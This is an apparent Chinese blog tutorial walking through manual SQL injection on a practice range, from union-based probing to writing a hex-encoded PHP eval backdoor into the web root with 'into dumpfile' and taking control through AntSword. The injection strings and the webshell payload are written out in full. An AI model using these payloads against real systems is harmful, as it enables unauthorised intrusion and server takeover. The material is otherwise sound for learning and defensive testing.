SQL手工注入之getshell

第一次写文章,内容有些简单,大佬们轻喷。。

SQL注入简介

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。

SQL注入方式

SQL注入有手工注入和工具注入两种方式,本文为手工注入,手工注入可以更好的理解注入原理,从而在使用工具注入时知道工具做了些什么。

测试环境

可以自行使用虚拟机搭建靶场,安装phpStudy即可一键部署web网站,本文使用了网上某机构的靶场。

步骤

这是一个正常网页
SQL手工注入之getshell_第1张图片
通过url可以看到,该网页通过GET的方式传参。
用and 1=1 和and 1=2 检查是否存在SQL注入
SQL手工注入之getshell_第2张图片
and 1=1 页面返回正常
SQL手工注入之getshell_第3张图片
and 1=2 页面返回错误,还顺便爆出了绝对路径!
还知道了这样网页是php写的。
记住这个路径,后面会用到。

接着用order by 查看当前的数据库表的有多少列
SQL手工注入之getshell_第4张图片
order by 2 页面正常
SQL手工注入之getshell_第5张图片
order by 3 返回错误
说明当前数据库表列只有两列
接着使用联合查询union select查看输出点,为了不影响查看输出点,union前面的条件都设置为假,这样正常页面的内容就不会输出。
SQL手工注入之getshell_第6张图片
看到了吗,这里有个输出点 2
好了,接下来开始搞事情了!
利用MySQL可以写入文件的特点,所以可以向web服务器写入一句话木马:,这里传参的变量我用的是8,可以用字符,但是要加上单引号‘ ’,有时候单引号在url里面会引起些很奇怪的问题,所以我更喜欢用数字。

MySQL的into dumpfile和load_file方法都是可以写入文件的,在高版本的mysql中,dumpfile是默认关闭不允许使用的,跟load_file一样,他们两个开启方法一样,load_file能用那么dumpfile就能用,那么用dumpfile还是load_file,这里就要看这两个方法的区别了,dumpfile只能写入一行,load_file可以写入多行,dumpfile会把全部当作字符串写入,而load_file会把特殊的字符进行转义,比如\n会自动换行,因此这里使用dumpfile更为合适。
如果有堆叠注入,可以通过日志的方法写Webshell。(这里扩展一下与本文无关就不细说了,可以自行百度)

我们来构造可以写入一句话木马的MySQL语句:
and 1=2 union select 1,
into dumpfile ‘C:\phpStudy\WWW\hqrong.php‘
这里写入的路径就是刚才爆出的路径,hqrong.php就是要写入的文件。
执行完之后我们去访问下hqrong.php
SQL手工注入之getshell_第7张图片
发现这个文件不存在,就是说明没有写入成功,那我们检查下我们的语句是否出现了问题
?id =1 and 1=2 union select 1,
into dumpfile ‘C:\phpStudy\WWW\hqrong.php‘
这里第一个问号代表GET传参,但是我们的一句话木马

也存在问号,因此浏览器不知道是哪个问号后面的传参,那么我们就要对木马进行修改了,我们可以把一句话木马转换为十六进制,因为MySQL支持十六进制运行。

SQL手工注入之getshell_第8张图片
我们再把这个十六进制再转字符串看下
SQL手工注入之getshell_第9张图片
明显少了一个空格,要知道空格对于php和其他代码来说是很重要的。我们看一下 SQL手工注入之getshell_第10张图片
结合经验知道空格的十六进制是20,那么在3c3f706870后面加上20就好了,所以一句话木马的十六进制就是3c3f706870206576616c28245f524551554553545b385d293b3f3e,放浏览器继续执行(哦!这里做好小笔记,要在前面加上 0x,这样浏览器才知道这是十六进制),and 1=2 union select 1,0x3c3f706870206576616c28245f524551554553545b385d293b3f3e
into dumpfile ‘C:\phpStudy\WWW\hqrong.php‘
然后访问hqrong.php

SQL手工注入之getshell_第11张图片
还是没写入成功,再检查下我们的语句,原来问题在后面写入路径那里,在MySQL中,双反斜杠\\才是\的意思,修改一下变成and 1=2 union select 1,0x3c3f706870206576616c28245f524551554553545b385d293b3f3e
into dumpfile ‘C:\\phpStudy\\WWW\\hqrong.php‘
执行!。。。访问hqrong.php
SQL手工注入之getshell_第12张图片
根据返回信息,hqrong.php存在了,但是 8 没有传参,那么我们试下传个phpinfo()
SQL手工注入之getshell_第13张图片
出现这个页面代表一句话木马上传成功了!
可以让二营长开炮了。
亮剑!
蚁剑这东西都听说过吧,他的老大哥就是以前的中国菜刀(可惜菜刀因为某些原因在七八年前就官方就不维护了)
用蚁剑连接
SQL手工注入之getshell_第14张图片
SQL手工注入之getshell_第15张图片
这里直接getshell了,可以看到我们刚写入的一句话木马
打开CMD看看
SQL手工注入之getshell_第16张图片

总结

这里getshell了还涉及到提权问题,这里就不说了。
在实际的互联网中getshell了不要碰别人任何东西!!!!不然进去了牢饭可不好吃。。

你可能感兴趣的:(SQL手工注入之getshell)